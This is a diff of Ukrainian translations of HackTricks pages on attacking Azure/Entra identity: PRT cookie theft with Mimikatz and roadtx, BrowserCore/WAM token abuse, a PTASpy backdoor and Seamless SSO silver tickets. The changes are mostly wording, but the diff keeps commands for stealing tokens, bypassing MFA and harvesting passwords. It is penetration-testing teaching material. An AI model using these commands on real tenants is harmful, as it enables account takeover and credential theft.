- **Clear key** – 32-байтовий сесійний ключ у відкритому тексті (представлений у вигляді шістнадцяткового рядка).
|
||||
- **Derived Key** – 32-байтовий ключ, отриманий з сесійного ключа та значення контексту (більше про це нижче).
|
||||
- **Derived Key** – 32-байтовий ключ, похідний від сесійного ключа та значення контексту (більше про це нижче).
|
||||
- **Context** – 24-байтовий випадковий контекст, який використовувався під час отримання підписного ключа для PRT cookie.
|
||||
|
||||
> [!NOTE]
|
||||
@@ -106,7 +106,7 @@ Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<Encrypte
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz виведе підписаний JWT (кукі `PRT`) після рядка “Signature with key”, який містить PRT і підписаний за допомогою похідного ключа. Цей JWT можна скопіювати і використовувати в веб-сесії. Наприклад, зловмисник може відкрити браузер, перейти на `login.microsoftonline.com` і встановити кукі з назвою `x-ms-RefreshTokenCredential` зі значенням цього JWT. Коли браузер оновлюється або переходить, Azure AD буде вважати сесію автентифікованою (кукі PRT подається так, ніби відбулося SSO), і він видасть код авторизації або токен доступу для вказаного ресурсу. На практиці, можна перейти до ресурсу, такого як Office 365 або Azure portal; наявність дійсного кукі PRT означає, що Azure AD надасть доступ без додаткового входу (обминаючи MFA, оскільки PRT вже автентифікований).
|
||||
Mimikatz виведе підписаний JWT (кукі `PRT`) після рядка “Signature with key”, який містить PRT і підписаний за допомогою похідного ключа. Цей JWT можна скопіювати і використовувати в веб-сесії. Наприклад, зловмисник може відкрити браузер, перейти на `login.microsoftonline.com` і встановити кукі з назвою `x-ms-RefreshTokenCredential` зі значенням цього JWT. Коли браузер оновлюється або переходить, Azure AD буде вважати сесію автентифікованою (кукі PRT подається так, ніби відбулося SSO), і він видасть код авторизації або токен доступу для вказаного ресурсу. На практиці, можна перейти до ресурсу, як-от Office 365 або Azure portal; наявність дійсного кукі PRT означає, що Azure AD надасть доступ без додаткового входу (обминаючи MFA, оскільки PRT вже автентифікований).
|
||||
|
||||
Ви також можете використовувати **`roadtx`** і **`roadrecon`** з PRT кукі, щоб видавати себе за користувача *(TODO: Знайти точні команди для використання roadtx/roadrecon для отримання облікових даних з PRT)*.
|
||||
|
||||
@@ -136,11 +136,11 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
Це отримує свіжий PRT cookie (з nonce) і потім використовує його для отримання токена доступу для Azure AD Graph API (демонструючи доступ до хмари від імені користувача). AADInternals абстрагує більшість криптографії та використовує компоненти Windows або свою власну логіку під капотом.
|
||||
Це отримує новий PRT cookie (з nonce) і потім використовує його для отримання токена доступу для Azure AD Graph API (демонструючи доступ до хмари від імені користувача). AADInternals абстрагує більшість криптографії та використовує компоненти Windows або свою власну логіку під капотом.
|
||||
|
||||
### Mimikatz + roadtx
|
||||
|
||||
- Спочатку оновіть PRT, що зберігає його в `roadtx.prt`:
|
||||
- Спочатку оновіть PRT, який буде збережено в `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
@@ -169,15 +169,15 @@ roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <deri
|
||||
|
||||
- **Менеджер облікових записів вебу (WAM):** Менеджер облікових записів вебу Windows є фреймворком режиму користувача (доступним через API COM/WinRT), який дозволяє додаткам або браузерам запитувати токени для хмарних облікових записів без запиту облікових даних. WAM діє як брокер між користувацькими додатками та захищеним PRT, підтримуваним LSASS/TPM. Наприклад, бібліотека MSAL від Microsoft та певні компоненти ОС використовують WAM для безшумного отримання токенів, використовуючи PRT увійшовшого користувача.
|
||||
|
||||
- **BrowserCore.exe та інтерфейси COM брокера токенів:** Для SSO в браузері Windows включає компонент під назвою **BrowserCore.exe** (розташований у *Windows Security\BrowserCore*). Це рідний хост повідомлень, який використовують браузери (Edge, Chrome через розширення тощо) для отримання токена SSO, похідного від PRT, для входу в Azure AD. У фоновому режимі BrowserCore використовує об'єкт COM, наданий `MicrosoftAccountTokenProvider.dll`, для отримання cookie/token на основі PRT. По суті, цей інтерфейс COM є API "брокера токенів" першої сторони, до якого може звертатися будь-який процес, що працює як користувач, щоб отримати токен SSO (за умови, що у користувача є дійсний PRT у LSASS).
|
||||
- **BrowserCore.exe та інтерфейси COM брокера токенів:** Для SSO в браузері Windows включає компонент під назвою **BrowserCore.exe** (розташований у *Windows Security\BrowserCore*). Це рідний хост повідомлень, який використовують браузери (Edge, Chrome через розширення тощо) для отримання токена SSO, похідного від PRT, для входу в Azure AD. У фоновому режимі BrowserCore використовує об'єкт COM, наданий `MicrosoftAccountTokenProvider.dll`, для отримання cookie/token на основі PRT. По суті, цей інтерфейс COM є API "брокера токенів" першої сторони, до якого може звертатися будь-який процес, що працює від імені користувача, щоб отримати токен SSO (за умови, що у користувача є дійсний PRT в LSASS).
|
||||
|
||||
Коли користувач, приєднаний до Azure AD, намагається отримати доступ до ресурсу (скажімо, Azure Portal), потік зазвичай виглядає так: додаток викликає WAM або інтерфейс COM BrowserCore, який, у свою чергу, взаємодіє з LSASS. LSASS використовує PRT та сесійний ключ (захищений TPM) для створення **токена SSO** -- часто називається **cookie PRT** -- який потім повертається додатку або браузеру. Cookie PRT є спеціальним JWT, що містить зашифрований PRT та nonce, підписаний ключем, отриманим з сесійного ключа PRT. Цей cookie надсилається до Azure AD (в заголовку `x-ms-RefreshTokenCredential`), щоб підтвердити, що пристрій і користувач мають дійсний PRT, що дозволяє Azure AD видавати стандартні токени оновлення та доступу OAuth для різних додатків. Важливо, що будь-яке твердження про багатофакторну аутентифікацію (MFA), присутнє в PRT, буде перенесено в токени, отримані через цей процес SSO, що означає, що токени, похідні від PRT, можуть задовольняти ресурси, захищені MFA.
|
||||
Коли користувач, приєднаний до Azure AD, намагається отримати доступ до ресурсу (скажімо, Azure Portal), потік зазвичай виглядає так: додаток викликає WAM або інтерфейс COM BrowserCore, який, у свою чергу, взаємодіє з LSASS. LSASS використовує PRT та сесійний ключ (захищений TPM), щоб створити **токен SSO** -- часто називається **cookie PRT** -- який потім повертається додатку або браузеру. Cookie PRT є спеціальним JWT, що містить зашифрований PRT та nonce, підписаний ключем, отриманим з сесійного ключа PRT. Цей cookie надсилається до Azure AD (в заголовку `x-ms-RefreshTokenCredential`), щоб підтвердити, що пристрій і користувач мають дійсний PRT, що дозволяє Azure AD видавати стандартні токени оновлення та доступу OAuth для різних додатків. Важливо, що будь-яке твердження про багатофакторну аутентифікацію (MFA), присутнє в PRT, буде перенесено в токени, отримані через цей процес SSO, що означає, що токени, похідні від PRT, можуть задовольняти ресурси, захищені MFA.
|
||||
|
||||
### Крадіжка токенів на рівні користувача (не адміністратор)
|
||||
|
||||
Коли зловмисник має **виконання коду на рівні користувача**, захист TPM PRT не заважає зловмиснику отримувати токени. Зловмисник **використовує вбудовані API брокера токенів Windows**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
#### **BrowserCore (COM MicrosoftAccountTokenProvider)**
|
||||
|
||||
BrowserCore надає клас COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) для отримання cookie PRT. Цей API COM легітимно викликається браузерами (розширеннями Chrome/Edge) для SSO Azure AD.
|
||||
|
||||
@@ -220,7 +220,7 @@ roadrecon auth prt-init
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Тоді ви можете використовувати **згенерований cookie** для **генерації токенів** для **входу** за допомогою Azure AD **Graph** або Microsoft Graph:
|
||||
Тоді ви можете використовувати **згенероване cookie** для **генерації токенів** для **входу** за допомогою Azure AD **Graph** або Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
@@ -230,8 +230,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
Зловмисники використовують легітимні бібліотеки аутентифікації Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) з процесів на рівні користувача для тихого отримання токенів, використовуючи PRT, захищений TPM.
|
||||
|
||||
Зловмисники використовують легітимні бібліотеки аутентифікації Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) з процесів на рівні користувача, щоб безшумно отримувати токени, використовуючи PRT, захищений TPM.
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
@@ -253,19 +252,19 @@ $result.AccessToken
|
||||
```
|
||||
*(Тихо отримує токен доступу, використовуючи PRT)*
|
||||
|
||||
#### Зловживання токеном на рівні адміністратора / SYSTEM
|
||||
#### Зловживання токеном рівня адміністратора / SYSTEM
|
||||
|
||||
Якщо зловмисник підвищує свої привілеї до **Адміністратора або SYSTEM**, він може безпосередньо видавати себе за будь-якого користувача, що увійшов в Azure AD, і використовувати ті ж **API токенів COM/WAM**. PRT, захищені TPM, не запобігають цьому законному випуску токенів.
|
||||
Якщо зловмисник підвищує свої привілеї до **Адміністратора або SYSTEM**, він може безпосередньо видавати себе за будь-якого користувача, що увійшов в Azure AD, і використовувати ті ж **COM/WAM token broker APIs**. PRT, захищені TPM, не запобігають цьому законному випуску токенів.
|
||||
|
||||
### **Імітація користувача та отримання токена**
|
||||
### **Видавання себе за користувача та отримання токена**
|
||||
|
||||
Адміністратор/SYSTEM може імітувати запущені сесії інших користувачів, щоб викликати BrowserCore або WAM для генерації токенів.
|
||||
Адміністратор/SYSTEM може видавати себе за активні сесії інших користувачів, щоб викликати BrowserCore або WAM для генерації токенів.
|
||||
|
||||
Для цього просто імітуйте процес користувача (наприклад, `explorer.exe`) і викликайте API токенів, використовуючи будь-яку техніку, коментовану в попередньому розділі.
|
||||
Для цього просто видайте себе за процес користувача (наприклад, `explorer.exe`) і викликайте API токен-брокера, використовуючи будь-яку техніку, описану в попередньому розділі.
|
||||
|
||||
### **Пряме взаємодія з LSASS та токеном брокера (просунуто)**
|
||||
### **Пряме взаємодія з LSASS та токен-брокером (просунуто)**
|
||||
|
||||
Адміністратор все ще може працювати з LSASS, щоб зловживати PRT: наприклад, адміністратор може впровадити код у LSASS або викликати внутрішні функції CloudAP, щоб змусити LSASS створити токен. Дослідження Дірка-Яна зазначило, що адміністратор може “взаємодіяти з ключами PRT у LSASS, використовуючи крипто API”. На практиці це може означати використання власних функцій LSASS (через техніку, таку як API hooking або RPC, якщо доступно) для генерації cookie PRT. Інший підхід полягає в експлуатації будь-якого вікна, де ключ сесії може з'явитися в пам'яті – наприклад, в момент оновлення PRT або реєстрації пристрою, коли він не зашифрований для використання. Такі атаки значно складніші та ситуативні. Простішою тактикою адміністратора є зловживання існуючими дескрипторами токенів або кешами: LSASS кешує нещодавно видані токени оновлення для додатків у пам'яті (зашифровані за допомогою DPAPI). Визначений зловмисник SYSTEM може спробувати витягти ці токени, захищені DPAPI (використовуючи майстер-ключ користувача, який може отримати адміністратор), щоб безпосередньо вкрасти токени оновлення для конкретних додатків. Однак найпростіший і найбільш загальний метод залишається імітацією та використанням задокументованих інтерфейсів токенів брокера, оскільки це гарантує, що Azure AD видасть свіжі токени (з усіма належними вимогами), а не намагатиметься зламати шифрування.
|
||||
Адміністратор все ще може працювати з LSASS, щоб зловживати PRT: наприклад, адміністратор може впровадити код у LSASS або викликати внутрішні функції CloudAP, щоб змусити LSASS створити токен. Дослідження Дірка-Яна зазначило, що адміністратор може “взаємодіяти з ключами PRT у LSASS, використовуючи крипто API”. На практиці це може означати використання власних функцій LSASS (через техніку, таку як API hooking або RPC, якщо доступно) для генерації cookie PRT. Інший підхід полягає в експлуатації будь-якого вікна, де ключ сесії може з'явитися в пам'яті – наприклад, в момент оновлення PRT або реєстрації пристрою, коли він не зашифрований для використання. Такі атаки значно складніші та ситуаційні. Простішою тактикою адміністратора є зловживання існуючими дескрипторами токенів або кешами: LSASS кешує нещодавно видані токени оновлення для додатків у пам'яті (зашифровані за допомогою DPAPI). Визначений зловмисник SYSTEM може спробувати витягти ці токени, захищені DPAPI (використовуючи майстер-ключ користувача, який може отримати адміністратор), щоб безпосередньо вкрасти токени оновлення для конкретних додатків. Однак найпростіший і найбільш загальний метод залишається видаванням себе за користувача та використанням задокументованих інтерфейсів токен-брокера, оскільки це гарантує, що Azure AD видасть свіжі токени (з усіма належними вимогами), а не намагатися зламати шифрування.
|
||||
|
||||
## Фішинг PRT
|
||||
|
||||
@@ -280,9 +279,9 @@ $result.AccessToken
|
||||
**Передумови**:
|
||||
|
||||
- **Аутентифікація користувача через Device Code** з використанням **ідентифікатора клієнта Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) та **областей/ресурсів DRS** (наприклад, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** або **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Користувач може реєструвати пристрої** в Entra ID (**за замовчуванням: дозволено**, але може бути обмежено або обмежено квотою).
|
||||
- **Відсутність блокуючих політик CA**, які **відключають Device Code** або **вимагають відповідні/гібридні пристрої** для цільових додатків (вони не зупинять випуск PRT, але **заблокують** **використання** його для доступу до захищених додатків).
|
||||
- **Хост, контрольований зловмисником**, для запуску потоку та зберігання токенів/ключів пристроїв.
|
||||
- **Користувач може реєструвати пристрої** в Entra ID (**за замовчуванням: дозволено**, але може бути обмежено або обмежено за квотою).
|
||||
- **Відсутність блокуючих політик CA**, які **відключають Device Code** або **вимагають відповідні/гібридні пристрої** для цільових додатків (вони не зупинять випуск PRT, але **зупинять** **використання** його для доступу до захищених додатків).
|
||||
- **Хост, контрольований зловмисником**, для запуску потоку та зберігання токенів/ключів пристрою.
|
||||
|
||||
**Потік атаки**:
|
||||
|
||||
@@ -297,7 +296,7 @@ curl -s -X POST \
|
||||
|
||||
3. **Зареєструвати підозрілий пристрій** в орендарі, використовуючи цей токен оновлення (об'єкт пристрою створюється і пов'язується з жертвою).
|
||||
|
||||
4. **Оновити до PRT**, обмінюючи **токен оновлення + ідентичність/ключі пристрою** → **PRT** прив'язаний до пристрою зловмисника.
|
||||
4. **Оновити до PRT** шляхом обміну **токена оновлення + ідентичності/ключів пристрою** → **PRT** прив'язується до пристрою зловмисника.
|
||||
|
||||
5. **(Додаткова стійкість)**: якщо MFA була свіжою, **зареєструвати ключ Windows Hello for Business** для підтримки **довгострокового, безпарольного доступу**.
|
||||
|
||||
@@ -312,7 +311,7 @@ curl -s -X POST \
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Блог Діркяна про PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Блоговий пост Діркяна про PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Пост Діркяна про фішинг PRT](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Пост Діркяна про зловживання PRT](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- Пост SpecterOps про [Запит токенів Azure AD](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
|
||||
+5
-5
@@ -1,12 +1,12 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication дозволяє вашим користувачам **увійти в якості в обидва - локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує вашим користувачам кращий досвід - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory.
|
||||
|
||||
У PTA **ідентичності** **синхронізуються**, але **паролі не** як у PHS.
|
||||
У PTA **ідентичності** **синхронізуються**, але **паролі не** так, як у PHS.
|
||||
|
||||
Аутентифікація перевіряється в локальному AD, а зв'язок з хмарою здійснюється через **агента аутентифікації**, що працює на **локальному сервері** (не обов'язково на локальному DC).
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
4. **Агент** **перевіряє** облікові дані проти **локального AD** і надсилає **відповідь** **назад** до Azure AD, яка, якщо відповідь позитивна, **завершує вхід** користувача.
|
||||
|
||||
> [!WARNING]
|
||||
> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **чистому тексті**).\
|
||||
> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **відкритому тексті**).\
|
||||
> Він також може **перевірити будь-які облікові дані** до AzureAD (схожий напад на Skeleton key).
|
||||
|
||||
### Enumeration
|
||||
@@ -70,7 +70,7 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
> [!NOTE]
|
||||
> Якщо **встановлення не вдалося**, це, ймовірно, через відсутність [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Цей бекдор буде:
|
||||
Ця бекдор буде:
|
||||
|
||||
- Створити приховану папку `C:\PTASpy`
|
||||
- Скопіювати `PTASpy.dll` до `C:\PTASpy`
|
||||
@@ -95,4 +95,4 @@ seamless-sso.md
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-8
@@ -1,6 +1,6 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
Цю функцію підтримують як [**PHS (Синхронізація хешу пароля)**](phs-password-hash-sync.md), так і [**PTA (Аутентифікація через проксі)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO використовує **Kerberos** для аутентифікації. Коли налаштовано, Azure AD Connect створює **обліковий запис комп'ютера під назвою `AZUREADSSOACC$`** в локальному AD. Пароль облікового запису `AZUREADSSOACC$` **надсилається у відкритому тексті до Entra ID** під час налаштування.
|
||||
Desktop SSO використовує **Kerberos** для аутентифікації. Коли налаштовано, Azure AD Connect створює **обліковий запис комп'ютера під назвою `AZUREADSSOACC$`** в локальному AD. Пароль облікового запису `AZUREADSSOACC$` **надсилається у відкритому вигляді до Entra ID** під час налаштування.
|
||||
|
||||
**Квитки Kerberos** **шифруються** за допомогою **NTHash (MD4)** пароля, а Entra ID використовує надісланий пароль для розшифровки квитків.
|
||||
|
||||
@@ -42,10 +42,10 @@ $searcher.FindOne()
|
||||
|
||||
Щоб отримати цей TGS квиток, атакуючий повинен мати один з наступних елементів:
|
||||
- **TGS скомпрометованого користувача:** Якщо ви скомпрометуєте сесію користувача з квитком до `HTTP/autologon.microsoftazuread-sso.com` в пам'яті, ви можете використовувати його для доступу до хмарних ресурсів.
|
||||
- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати один, використовуючи трюк з підробкою TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати його, використовуючи трюк з підробкою TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Хеш або пароль скомпрометованого користувача:** SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT, а потім TGS.
|
||||
- **Золотий квиток:** Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача.
|
||||
- **Хеш або пароль облікового запису AZUREADSSOACC$:** З цією інформацією та Ідентифікатором безпеки (SID) користувача можливо створити сервісний квиток і аутентифікуватися в хмарі (як це виконано в попередньому методі).
|
||||
- **Хеш або пароль облікового запису AZUREADSSOACC$:** З цією інформацією та ідентифікатором безпеки (SID) користувача можливо створити сервісний квиток і аутентифікуватися в хмарі (як це виконано в попередньому методі).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
@@ -91,7 +91,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
> З поточною інформацією ви можете просто використовувати інструмент **SeamlessPass**, як зазначено раніше, щоб отримати токени azure та entraid для будь-якого користувача в домені.
|
||||
> Ви також можете використовувати попередні техніки (та інші), щоб отримати хеш пароля жертви, яку ви хочете видати за себе, замість облікового запису `AZUREADSSOACC$`.
|
||||
|
||||
#### Створення срібних квитків
|
||||
#### Creating Silver Tickets
|
||||
|
||||
З хешем ви тепер можете **генерувати срібні квитки**:
|
||||
```bash
|
||||
@@ -125,7 +125,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
- Щоб продовжити, натисніть TAB або ENTER.
|
||||
|
||||
> [!WARNING]
|
||||
> Це **не обходить MFA, якщо вона увімкнена** для користувача.
|
||||
> Це **не обходить MFA, якщо воно увімкнене** для користувача.
|
||||
|
||||
|
||||
### On-prem -> Cloud через обмежену делегацію на основі ресурсів <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
@@ -173,7 +173,7 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
|
||||
### ~~Створення квитків Kerberos для користувачів лише в хмарі~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів лише в хмарі**. Єдина вимога полягає в тому, що SID є правильним [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів лише в хмарі**. Єдина вимога полягає в тому, що SID має бути правильним [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Зміна SID користувачів-адміністраторів лише в хмарі тепер **блокована Microsoft**.\
|
||||
@@ -188,4 +188,4 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: Я у вашій хмарі, читаю електронні листи всіх - злом Azure AD через Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user